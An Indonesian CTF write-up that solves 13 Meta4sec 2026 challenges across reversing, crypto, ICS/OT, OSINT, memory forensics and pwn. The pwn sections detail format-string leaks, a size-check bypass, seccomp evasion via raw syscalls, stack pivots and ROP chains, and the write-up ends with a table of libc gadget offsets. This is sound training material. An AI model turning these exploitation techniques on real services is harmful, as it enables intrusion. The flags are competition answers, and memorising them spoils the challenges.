H
Kembali ke Works
Writeup

Write-Up: Meta4sec CTF 2026 (Babak Penyisihan)

Meta4Sec CTF 2026Agu 2026
ctfpwnreverseforensicscryptoosintics-ot
Write-Up: Meta4sec CTF 2026 (Babak Penyisihan)

Penyelesaian 13 soal CTF Meta4sec 2026 — misc, reverse, crypto, forensics, ics/ot, osint, dan pwn.

Write-Up — Meetup CTF Meta4sec 2026 (Hack Redlimit)

Kumpulan penyelesaian untuk soal-soal yang berhasil dipecahkan. Semua flag di bawah sudah diverifikasi (submit diterima, atau binary/servis menjawab benar).

Ringkasan

#SoalKategoriFlag
1Geprek ChainmiscREDLIMIT{L4h_BL0CkCh4iN_Br0W_S1UU}
2Three StagesreverseREDLIMIT{tr1pl3_st4g3_x_4nt1d3bug_pl0t}
3RollingreverseREDLIMIT{r0ll1ng_x0r_1s_junk_f00d_f0r_ai}
4PLC Konveyorics/otREDLIMIT{s7_d4t4bl0ck_1nt_4rr4y_symb0l_p4rs3}
5Gardu 104ics/otREDLIMIT{i3c104_sc4l3d_s3tp01nt_c_se_nb_c0mm4nd}
6OvercookedcryptoREDLIMIT{n0_sCr1pt_n33d3d_no_41_sl0p_}
7picomiscREDLIMIT{bu4n9_bu4ng9_w4ktu_bu4t_ch4ll_ez_k4s14n_b4ng3t_udh_str3ss_wkwkwkwk}
8The Audio Incident (Part 1)osintREDLIMIT{m3ta4sec_80k_m3ss4g3s_g0ne}
9Wrapped PayloadforensicsREDLIMIT{x0r3d_p0w3rsh3ll_p4yl04d_unp4ck3d}
10Environmental HazardforensicsREDLIMIT{h1v3s_l1v3_1n_v0l4t1l3_m3m0ry}
11spiralpwnREDLIMIT{p0t0ng_bit_trus_raw_sysc4ll_ala_meta_4_sec}
12conductorpwnREDLIMIT{m3ta_4_sec_fmtstr_doang_no_sh3ll_full_0rw}
13miragepwnREDLIMIT{meta4sec_stack_pivot_ke_fatamorgana}

Bonus (ditemukan di dalam memory dump saat mengerjakan Wrapped Payload): REDLIMIT{pr0c3ss_cmdl1n3_r3v34ls_4ll}


1. Geprek Chain — misc

Berkas: chain.json (8 blok), explore.py

Blockchain mainan. Validasi bawaan lolos semua (hash cocok, PoW 0000, previous_hash nyambung), jadi tidak ada blok yang dipalsukan — jebakannya di tempat lain.

Tiap data dienkripsi dengan:

plaintext = base64_decode(data) XOR bytes.fromhex(previous_hash)

Genesis (index 0) adalah umpan. previous_hash-nya semua nol, jadi XOR-nya no-op dan base64-nya langsung terbaca REDLIMIT{ini_p4lsu_j4ng4n_p3rc4y4_g3nesis}.

Flag asli = gabungan fragmen blok 1–7 terurut index:

indexfragmen
1REDLI
2MIT{L
34h_BL
40CkCh
54iN_B
6r0W_S
71UU}
import json, base64

for b in json.load(open("chain.json")):
    raw = base64.b64decode(b["data"])
    key = bytes.fromhex(b["previous_hash"])
    print(b["index"], bytes(c ^ key[i % len(key)] for i, c in enumerate(raw)))

Flag: REDLIMIT{L4h_BL0CkCh4iN_Br0W_S1UU}


2. Three Stages — reverse

Berkas: crack_medium (ELF64 PIE, stripped)

Semua logika ada di satu fungsi cek di 0x1300.

Anti-debug ada di main, bukan di checker

call ptrace              ; ptrace(PTRACE_TRACEME,0,0,0)
cmp  rax, -1
sete sil ; neg esi       ; r12d = -1 kalau ditrace, 0 kalau bersih
movzx esi, r12b          ; 0xFF vs 0x00 -> argumen ke-2 checker

Kalau di-attach gdb/strace, argumen kedua jadi 0xFF dan dipakai sebagai XOR key tambahan di Stage 1 — flag benar pun ditolak. Diselesaikan statis saja (key = 0), tanpa patch.

Tiga tahap

Panjang dipaksa 39 (cmp r8, 0x27), dibagi 3 slice 13 byte.

StageIndexTransform
10–12rol8((c ^ "m3d"[i%3]) + i, 3)
213–25(ror8(c,2) ^ 0x5A) - (0x57 + 13*i)
326–38(c + 0x37) ^ (i-26)²

Konstanta di .rodata: key "m3d" @ 0x2040, 39 byte target @ 0x2060.

t = bytes.fromhex('f9bb1121f371517339115a03494189735f1316353b25cf0b'
                  'c825ab699f6389b5baa7e7f203d224')
k = b'm3d'
rol = lambda v, n: ((v << n) | (v >> (8 - n))) & 0xFF
ror = lambda v, n: ((v >> n) | (v << (8 - n))) & 0xFF

out = []
for i, x in enumerate(t):
    if i <= 12:
        out.append(((ror(x, 3) - i) & 0xFF) ^ k[i % 3])
    elif i <= 25:
        out.append(rol(((x + 0x57 + 13 * i) & 0xFF) ^ 0x5A, 2))
    else:
        out.append(((x ^ (i - 26) ** 2) - 0x37) & 0xFF)
print(bytes(out).decode())

Flag: REDLIMIT{tr1pl3_st4g3_x_4nt1d3bug_pl0t}


3. Rolling — reverse

Berkas: crack_easy (ELF64 PIE, stripped)

Fungsi cek di 0x12c0, panjang input dipaksa 41 (cmp r8, 0x29).

Konstanta di .rodata: key "s3cr3t_k3y" @ 0x2040 (10 byte), target 41 byte @ 0x2060.

Bagian yang menyamar di disassembly:

imul rax, 0xcccccccd
shr  rax, 0x23
lea  r9d,[rax+rax*4]
add  r9d, r9d

Itu cuma i % 10 versi division-by-multiplication — indeks key yang berputar, sesuai judul "Rolling". Konstanta index-dependent ada di ecx, mulai 0x21 dan += 7 tiap iterasi.

maju    : rol8((key[i % 10] ^ input[i]) + (33 + 7*i), 3) == target[i]
inversi : input[i] = (ror8(target[i], 3) - (33 + 7*i)) ^ key[i % 10]

Diverifikasi: binary menjawab Correct! that input IS the flag.

Flag: REDLIMIT{r0ll1ng_x0r_1s_junk_f00d_f0r_ai}


4. PLC Konveyor — ics/ot

Berkas: project.s7p (681 byte)

Bukan file Step7 asli — container buatan sendiri: header SIMATIC-S7 PROJECT v5.6, lalu blok ber-magic S7B, diselingi filler acak supaya strings terlihat berantakan.

Format blok: "S7B" + type(1) + block_num(2 LE) + len. Format variabel dalam data block: name_len | name | type(2 LE) | value_len(1) | value.

BlokIsi
OB1 (0x08)STL polos: CALL FC7; // conveyor ramp
DB9 (0x0b)note STRING → REDLIMIT{db9_str1ng_1s_th3_d3c0y} ← umpan, ngaku sendiri
DB4conv_speed REAL 1.75, temp_sp REAL 42.0, batch_id INT 4021, recipe_sig, crc WORD 0x0fce

Kuncinya di recipe_sig: type 0x05 = INT tapi len = 90 → itu ARRAY[0..44] OF INT, bukan string. Tiap INT big-endian bernilai kode ASCII satu karakter — makanya di hexdump terlihat seperti UTF-16 dengan null-byte selang-seling (itu byte high tiap INT).

Sesuai deskripsi: "data rahasia disembunyikan di dalam data block resep".

Flag: REDLIMIT{s7_d4t4bl0ck_1nt_4rr4y_symb0l_p4rs3}


5. Gardu 104 — ics/ot

Berkas: gardu.iec104 (2.4 KB)

Bukan pcap — stream APDU IEC 60870-5-104 mentah yang disambung langsung. Tiap frame: 0x68 | len | 4 byte APCI | ASDU.

Isi capture (132 ASDU):

TypeNamaCOTJumlah
1M_SP_NA_1 (single point)3 spont26
13M_ME_NC_1 (measured float)3 spont40
49C_SE_NB_1 (setpoint scaled)3 spont18
49C_SE_NB_1 (setpoint scaled)6 act48

Deskripsi menyuruh menganalisis command control-nya — itu penyaringnya: hanya type 49 dengan COT = 6 (activation) yang benar-benar perintah operator. Tiga kategori lain adalah noise; khususnya type 49 COT 3 yang IOA-nya di rentang 0x9000 dengan nilai acak besar (jelas bukan ASCII).

Perintah aslinya di IOA 0x4000–0x402F (48 titik), dan scaled value 2 byte tiap setpoint langsung berupa kode ASCII (82=R, 69=E, …).

Catatan: frame tidak terurut IOA — perintah diselang-seling telemetri. Pengurutan berdasarkan IOA, bukan urutan paket, itu wajib.

Flag: REDLIMIT{i3c104_sc4l3d_s3tp01nt_c_se_nb_c0mm4nd}


6. Overcooked — crypto

Input: satu blob base64 panjang.

Empat lapis, dikupas dari akhir sesuai deskripsi:

#LapisHasil
1Base64128 baris Morse, tiap baris 8 grup
2Morse → binerhanya 2 simbol dipakai: ----- = 0, .---- = 1 → 1024 bit = 128 byte
3Biner → ASCIIga eh eg fe fb ff fb gc … (terlihat sampah)
4ROT4782 69 68 76 73 77 73 84 123 110 48 95 …
5Desimal → charflag

Yang bikin lapis 3 tidak terbaca: itu ROT47, bukan ROT13. Petunjuknya karakter ` dan _ — ROT47 memetakan '0'(48) → '_'(95) dan '1'(49) → '`'(96), sementara spasi (32) di luar range 33–126 jadi tetap utuh sebagai pemisah. Begitu ketahuan `ab → 123 = {, sisanya jatuh sendiri.

import base64

d = base64.b64decode(open("blob.b64").read()).decode()
M = {"-----": "0", ".----": "1"}
bits = "".join(M[g] for ln in d.strip().split("\n") for g in ln.split())
layer = bytes(int(bits[i:i + 8], 2) for i in range(0, len(bits), 8)).decode()
rot47 = "".join(chr(33 + (ord(c) - 33 + 47) % 94) if 33 <= ord(c) <= 126 else c
                for c in layer)
print("".join(chr(int(n)) for n in rot47.split()))

Flag: REDLIMIT{n0_sCr1pt_n33d3d_no_41_sl0p_}


7. pico — misc

Berkas: gemquest.p8 (cartridge PICO-8, 8.5 KB)

.p8 adalah format teks, bukan biner — langsung bisa dibaca. Isinya game sederhana; saat menang:

if won then
 cls(0)
 print("secret unlocked!",30,8,11)
 sspr(0,0,128,55,0,32)          -- flag digambar dari sprite sheet
 print("screenshot the flag!",18,120,6)
end

Flag bukan string di kode, tapi piksel di section __gfx__. Deskripsi soal mengarahkan pemain untuk main sampai tamat lalu screenshot — padahal __gfx__ cuma 128 karakter hex per baris = 128 piksel (satu nibble per piksel, 0 = kosong). Render 55 baris pertama jadi gambar, selesai.

Jebakan utama: descender & underscore

Font-nya menggambar underscore 3 baris di bawah baseline, jadi _ milik satu baris teks jatuh ke pita baris berikutnya dan terbaca sebagai palang atas glyph. Ini bikin dua salah baca:

  • Sebuah 1 terbaca I (karena underscore baris atas menempel jadi "palang atas")
  • Sebuah 9 tertukar dengan g

Cara membedakan 9 vs g secara pasti — pakai baseline, bukan mata:

glyph baris 1 x88 → 9glyph baris 2 x9 → g
berhenti tepat di baselinepunya descender 4 baris di bawah baseline
tinggi = kelas digit (sama dengan 4, 3)tinggi = x-height + descender

Baris 1 sama sekali tidak punya descender → tidak mungkin ada huruf g di sana.

Verifikasi silang: jumlah underscore tiap baris cocok dengan bacaannya (baris 1 → 1 bar, baris 2–4 → 3 bar, baris 5 → 0), dan posisi x-nya pas.

Hasil per baris (18+18+18+18+4 = 76 karakter):

REDLIMIT{bu4n9_bu4
ng9_w4ktu_bu4t_ch4
ll_ez_k4s14n_b4ng3
t_udh_str3ss_wkwkw
kwk}

Flag: REDLIMIT{bu4n9_bu4ng9_w4ktu_bu4t_ch4ll_ez_k4s14n_b4ng3t_udh_str3ss_wkwkwkwk}


8. The Audio Incident (Part 1) — osint

Berkas: message_for_you.wav (12 detik, mono 44.1 kHz PCM 16-bit)

Umpan

Spektrogram menunjukkan 6 segmen dual-tone @ 2 detik. Frekuensinya ternyata nada musik + oktafnya (rasio 2:1 murni, bukan DTMF):

segmenfrekuensinada
0–2 s220 / 440A
2–4 s262 / 523C
4–6 s330 / 660E
6–8 s392 / 784G
8–10 s294 / 587D
10–12 s349 / 698F

A C E G D F — dan itu murni pengecoh.

Penyelesaian

Data aslinya di LSB bit-0 tiap sample PCM, MSB-first, dengan header custom:

"CTF0" + length(4 byte, big-endian) + payload
import numpy as np, wave, struct

w = wave.open("message_for_you.wav")
a = np.frombuffer(w.readframes(w.getnframes()), dtype="<i2")
b = np.packbits((a & 1).astype(np.uint8), bitorder="big").tobytes()
assert b[:4] == b"CTF0"
n = struct.unpack(">I", b[4:8])[0]
print(b[8:8 + n].decode())

Isi pesannya (taunting + clue untuk Part 2):

"Gampang banget ngehack ini server wkwkw. Kalian gak akan bisa nemuin siapa kami, sedikit clue aja biar seru, kami dulu juga pernah ngehack discord meta4sec WKWKW, konon katanya sampe 80k+ message di roomchat diskusi di discord meta4sec hilang semua. REDLIMIT{m3ta4sec_80k_m3ss4g3s_g0ne}"

Flag: REDLIMIT{m3ta4sec_80k_m3ss4g3s_g0ne}


9. Wrapped Payload — forensics

Berkas: memdump.7z (2.8 GB), password RedLimit*9715Meta4Sec

Kendala teknis

Arsipnya punya encrypted header (bsdtar/libarchive tidak bisa) dan isinya memdump.raw 13.9 GB, sementara disk cuma sisa ~7 GB.

Solusi: py7zr dengan WriterFactory custom — decompress streaming, tiap chunk langsung digrep di memori lalu dibuang. Dump utuhnya tidak pernah menyentuh disk.

class Scanner(Py7zIO):
    def write(self, s):
        self.buf += s
        if len(self.buf) >= WINDOW:
            self._process(len(self.buf) - KEEP)   # grep + geser jendela
        return len(s)

Pola yang dicari: -EncodedCommand, powershell, dan run base64 panjang — dalam versi ASCII dan UTF-16LE (command line Windows disimpan UTF-16LE di memori).

Rantai unwrap

  1. Ketemu command line proses PowerShell (base64 1152 char, diawali IwAgAEEAbgBhAGwAeQBzAHQA).
  2. Decode base64 → UTF-16LE:
# Analyst note: incident payload staging. Recover with a repeating-key XOR.
$enc = @(0x20,0x76,0x20,0x20,0x78,0x20,0x78,0x20,0x09,0x4b,0x54,0x1e, ... ,0x41,0x57,0x19)
$k   = [System.Text.Encoding]::ASCII.GetBytes('r3dl1m1t')
# (decoder intentionally not run here)
Start-Sleep -Seconds 2000000
  1. XOR 43 byte $enc dengan key berulang r3dl1m1t → langsung flag (tidak perlu base64 lagi).
enc = [0x20,0x76,0x20,0x20,0x78,0x20,0x78,0x20,0x09,0x4b,0x54,0x1e,0x02,0x09,
       0x6e,0x04,0x42,0x44,0x57,0x1e,0x42,0x05,0x02,0x18,0x1e,0x6c,0x14,0x58,
       0x48,0x01,0x01,0x40,0x16,0x6c,0x11,0x02,0x41,0x59,0x52,0x1f,0x41,0x57,0x19]
k = b"r3dl1m1t"
print(bytes(c ^ k[i % len(k)] for i, c in enumerate(enc)).decode())

Flag: REDLIMIT{x0r3d_p0w3rsh3ll_p4yl04d_unp4ck3d}

Bonus

Dump yang sama memuat staging script semua tingkat. Yang easy ada di command line proses Start-Sleep 2000000: $t='UkVETElNSVR7cHIwYzNzc19jbWRsMW4zX3IzdjM0bHNfNGxsfQ==' → REDLIMIT{pr0c3ss_cmdl1n3_r3v34ls_4ll}


10. Environmental Hazard — forensics

Berkas: memdump.7z (sama seperti #9)

Token disimpan di environment block sebuah proses, bukan di disk. Nama variabelnya sudah terlihat di staging script waktu mengerjakan Wrapped Payload (ada tes set CACHE_TOKEN=INHERIT_OK_123 && powershell ... untuk verifikasi env inheritance).

Ditulis lewat C:\ctfbuild\med.cmd yang dijalankan sebagai scheduled task ctfmed (prosesnya idle di Start-Sleep 2100000):

CACHE_TOKEN=VWtWRVRFbE5TVlI3YURGMk0zTmZiREYyTTE4eGJsOTJNR3cwZERGc00xOXRNMjB3Y25sOQ==

Dua lapis base64 — ini yang bikin "quick decode looks like garbage", karena hasil lapis pertama masih base64:

LapisHasil
b64 #1UkVETElNSVR7aDF2M3NfbDF2M18xbl92MGw0dDFsM19tM20wcnl9
b64 #2REDLIMIT{h1v3s_l1v3_1n_v0l4t1l3_m3m0ry}

Catatan praktis: env var ini muncul di beberapa lokasi dump dan sebagian terpotong (mis. hanya 46 char: …TE4eGJsOTJNR3). Pastikan mengambil yang lengkap sampai == (72 char).

Flag: REDLIMIT{h1v3s_l1v3_1n_v0l4t1l3_m3m0ry}


11. spiral — pwn

Berkas: spiral, libc.so.6, ld-linux-x86-64.so.2, Dockerfile Remote: nc 157.10.253.49 13034

Full RELRO, NX, PIE, canary. Dua bug dirantai.

Bug 1 — format string di leaker()

123d:  mov  rdi, rsp          ; buffer input
1245:  call printf@plt        ; printf(buf) — tanpa "%s"

Mengalahkan canary + PIE + ASLR sekaligus. Indeks argumen berguna (frame push rbx; sub rsp,0xb0):

%N$pIsi
%27$pstack canary
%29$pspiral base + 0x14c5
%59$plibc base + 0x29f75

Bug 2 — cek ukuran 16-bit vs read 32-bit

14ef:  mov  edx, [rsp]    ; n dari user
14f4:  shl  eax, 6        ; n*64
14f7:  sub  eax, 1
14fa:  cmp  ax,  0x3f     ; <- divalidasi cuma 16 bit bawah
14fe:  ja   reject
1500:  shl  edx, 6        ; <- tapi read pakai 32 bit penuh
1512:  call read@plt      ; read(0, rsp+0x90, n*64)

Karena n*64 selalu kelipatan 64, syaratnya n*64 ≡ 64 (mod 65536) → n ≡ 1 (mod 1024). Dengan n = 1025: cek melihat 64 (lolos), tapi read menerima 65600 byte ke buffer yang jaraknya cuma 72 byte dari canary.

Sandbox — twist-nya di sini

Filter seccomp meng-allow: read, write, open, close, fstat, lseek, brk, exit, exit_group, newfstatat.

"Pintu yang biasanya terbuka" = openat (257) — tidak ada di whitelist, padahal itulah yang dipanggil glibc saat memakai open()/fopen(). Yang di-allow justru open (2), syscall lama. Jadi ROP wajib pakai raw syscall. String decoy DECOY{open_biasa_aja_gak_perlu_raw} menyindir persis jebakan ini. execve juga mati → harus ORW.

Exploit

Layout: buffer rsp+0x90, canary +0x48, return +0x58. ROP: open("flag.txt",0) → read(3, scratch, 0x100) → write(1, scratch, 0x100) → exit(0), gadget dari libc yang dibundel, path pakai simbol fname di .data (PIE+0x4020).

Flag: REDLIMIT{p0t0ng_bit_trus_raw_sysc4ll_ala_meta_4_sec}


12. conductor — pwn

Berkas: conductor, libc.so.6, ld-linux-x86-64.so.2, Dockerfile Remote: nc 157.10.253.49 13031

Arsitektur

main fork satu child per baris input. Di child:

fd = open("/dev/null", O_WRONLY); dup2(fd, 1); close(fd);   // stdout dibungkam
seccomp(...);                                               // tanpa execve
vuln(line);                                                 // printf(line) <- bug
_exit( leakp ? *(uint8_t*)leakp : 77 );                     // <- oracle

Parent waitpid lalu cetak R %d (exit code) atau R X (mati kena sinyal). Tiap baris hanya memberi satu byte informasi.

Tiga hal yang dirantai

1. Leak gratis di boot %p %p — dicetak sebelum sandbox dipasang: rsp+0xb milik main dan alamat main. Dapat base stack + PIE tanpa usaha.

2. Offset format string dihitung dari frame, bukan dari output (output-nya ke /dev/null):

main rsp = M,  buffer = M+0x10
child_run rsp = M-0xC0   (ret 8 + push rbp/rbx 16 + sub 0xa8)
vuln rsp      = M-0xE0   (ret 8 + sub 0x18)
arg printf ke-(6+k) = [M-0xE0 + 8k]  ->  buffer = arg #36

Diverifikasi lewat oracle: tulis leakp = &"seccomp"+2, exit code balik 99 = 'c'. Hanya offset 36 yang tidak crash.

3. Bocorkan libc lewat GOT. Full RELRO bikin GOT read-only, tapi tetap terbaca dan sudah terisi (BIND_NOW). 6 query oracle ke GOT[printf] byte demi byte → base libc. Decoy DECOY{got_overwrite_klasik_wkwk_meta4} menyindir yang mencoba menulis ke GOT.

Yang bikin ini hard

Tiap baris = child baru, jadi tulisan format string tidak bertahan antar percobaan — seluruh exploit harus muat dalam satu printf. Menulis chain ROP penuh via %hn terlalu mahal, jadi dipakai stack pivot dengan hanya 2 qword:

AlamatNilai
M-0xC8 (return address vuln)pop rsp; ret
M-0xC0alamat chain di dalam buffer sendiri

Buffer input 4095 byte itu sendiri ada di stack di alamat yang sudah diketahui, jadi chain-nya cukup ditaruh mentah di offset 0x600 — tidak perlu ditulis via %n sama sekali. M-0xC0 aman ditimpa karena itu bekas struct sock_fprog yang sudah selesai dipakai.

Jalan keluar dari "sunyi"

Hanya stdout yang di-dup2 ke /dev/null. Di Dockerfile, socat dijalankan dengan opsi ,stderr — jadi fd 2 masih tersambung ke socket. ROP: open("flag.txt") → read(3, buf, 0x100) → write(2, buf, 0x100) → exit.

fd hasil open pasti 3, karena /dev/null tadi dibuka sebagai fd 3 lalu di-close setelah dup2.

Flag: REDLIMIT{m3ta_4_sec_fmtstr_doang_no_sh3ll_full_0rw}


13. mirage — pwn

Berkas: mirage, libc.so.6, ld-linux-x86-64.so.2, Dockerfile Remote: nc 157.10.253.49 13035

Struktur mirip spiral (leaker + main), bug-nya beda.

Leak

Format string printf(buf) di leaker(), frame identik dengan spiral:

%N$pIsi
%27$pcanary
%29$pmirage + 0x14e6
%61$plibc + 0x29f75

Indeks libc bergeser dari 59 (spiral) ke 61 karena frame main di sini 0xf8, bukan 0xe8 — selisih 0x10 = 2 slot.

Overflow yang sengaja sempit

14f7:  lea  rsi,[rsp+0xa0]    ; buffer
14ff:  mov  edx,0xb0          ; cuma 176 byte
1509:  call read@plt

Buffer rsp+0xa0, canary rsp+0xe8, return rsp+0xf8. Setelah 88 byte padding+canary, sisanya tepat 88 byte = 11 qword. Rantai ORW butuh ~30 qword — tidak muat. Itu yang disindir DECOY{t00_sh0rt_t0_r0p} dan DECOY{overflow_pendek_tapi_cukup_kok}.

Solusi: pivot dua tahap

Tahap 1 dipaksa muat persis 11 qword, tidak ada satu pun terbuang:

pop rdi; 0
pop rsi; pie+0x4100
pop rdx; 0x400
pop rax; 0
syscall              ; read(0, pie+0x4100, 0x400)
pop rsp
pie+0x4100           ; rsp pindah ke sana

Targetnya halaman RW milik binary sendiri (pie+0x4000–0x5000, dari LOAD segment RW 0x3d68), bukan stack. Ini bikin exploit lebih rapi: tidak perlu membocorkan alamat stack sama sekali, cukup PIE base dari format string.

Tahap 2 bebas panjang: open("flag.txt") → read → write(1) → exit, path pakai simbol fname (pie+0x4020).

Seccomp di sini tidak ada jebakan seperti spiral — open (2) dan openat (257) dua-duanya di-allow.

Flag: REDLIMIT{meta4sec_stack_pivot_ke_fatamorgana}


Catatan operasional

  • Instance sering tumbang. Panitia menyediakan dua VPS mirror dengan port identik: 157.10.253.49 dan 103.30.195.156. Kalau satu mati, pindah IP dengan port yang sama.
  • Soal web (catatan, suratkilat, medinusa) jalan di Werkzeug dev server single-thread — request beruntun cepat bikin servisnya drop. Beri jeda antar request.
  • Semua soal pwn memakai libc yang identik (md5 30fb6243b858286a539e86a67bf48cfa), jadi offset gadget bisa dipakai ulang lintas soal:
gadgetoffset
pop rdi; ret0x2a9b7
pop rsi; ret0x29e29
pop rdx; ret0x96372
pop rax; ret0x44386
pop rsp; ret0x2861a
syscall; ret0x926e2